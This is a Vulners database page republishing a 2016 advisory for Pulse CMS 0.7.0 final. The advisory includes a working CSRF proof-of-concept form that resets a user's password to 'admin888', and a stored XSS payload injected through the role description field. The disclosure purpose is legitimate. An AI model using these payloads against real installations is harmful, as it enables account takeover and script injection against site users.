Vulners
Lucene search
Pulse 0.7.0 Final CSRF / Cross Site Scripting
`Pulse CMS Multiple Vulnerabilities
1、Description
Exploit Title: Multiple Vulnerabilities in pulse 0.7.0 final
Date: 4-01-2016
Vendor Homepage:
http://pulse.torweg.org/site/Pulsar/en_US.CMS.displayCMS.13./pulse---the-java-web-application-framework
Vendor: pulse
Software: Content Management System
Version: version: pulse 0.7.0 final (build r2074)
2、Product Summary
================
An open source portal solution in Java. pulse delivers a set of
out-of-the-box components, e.g. CMS, shopping, user management.
Moreover pulse is a framework on top of the Servlet API providing easy
to use and easy to extend patterns for creating browser based
applications and websites. Key features: * Cross-platform, implemented
using Java technology. * Completely written using Java 5. * Provides a
framework for quick development of own applications. * Is delivered
with a host of out-of-the-box applications: CMS, Shop, Surveys,
Filters and many more. * A WebDAV based virtual file system for
digital asset management. * Mature user and role management *
Easy-to-use administration interface based on AJAX (using Ext JS) *
Built for internationalisation * Flexible templating with XSLT
2.0/XPath 2.0
3、Vulnerabilities
================
1)、CSRF Vulnerability
Change Password exists csrf Vulnerability ：
CSRF POC:
<html>
<!-- CSRF PoC -->
<body>
<form action="http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.changePasswordUserEditor._pGv8I9wIR7MWaiSJ5xxXkK39PElR9vlXaJmvG8sYkUDxDm0dmFdG3oTt0Py3gWJ7kTPl3ZJiVsc5V7sxt1yYm./"
method="POST">
<input type="hidden" name="id" value="1" />
<input type="hidden" name="pwd" value="admin888" />
<input type="hidden" name="cnf" value="admin888" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2)、Stored XSS Vulnerability
Stored Xss vulnerability exists in the description of the Roles
overview、Users overview、Groups overview.
POC:
http://127.0.0.1:8080/pulse/Pulsar/en_US.Core.saveRoleEditor._GazoEzD0fQ9eqgjVtVmQUcR0AcE4uyFhxaFI0jWHL6NgzAOsYWxRikIik5cnewt4J6Tjc8DpHFC9rGglGWXaeT./
id=4&description=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
4、Discovered by
================
piaox xiong – [email protected]
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Apr 2016 00:00Current
0.1Low risk
Vulners AI Score0.1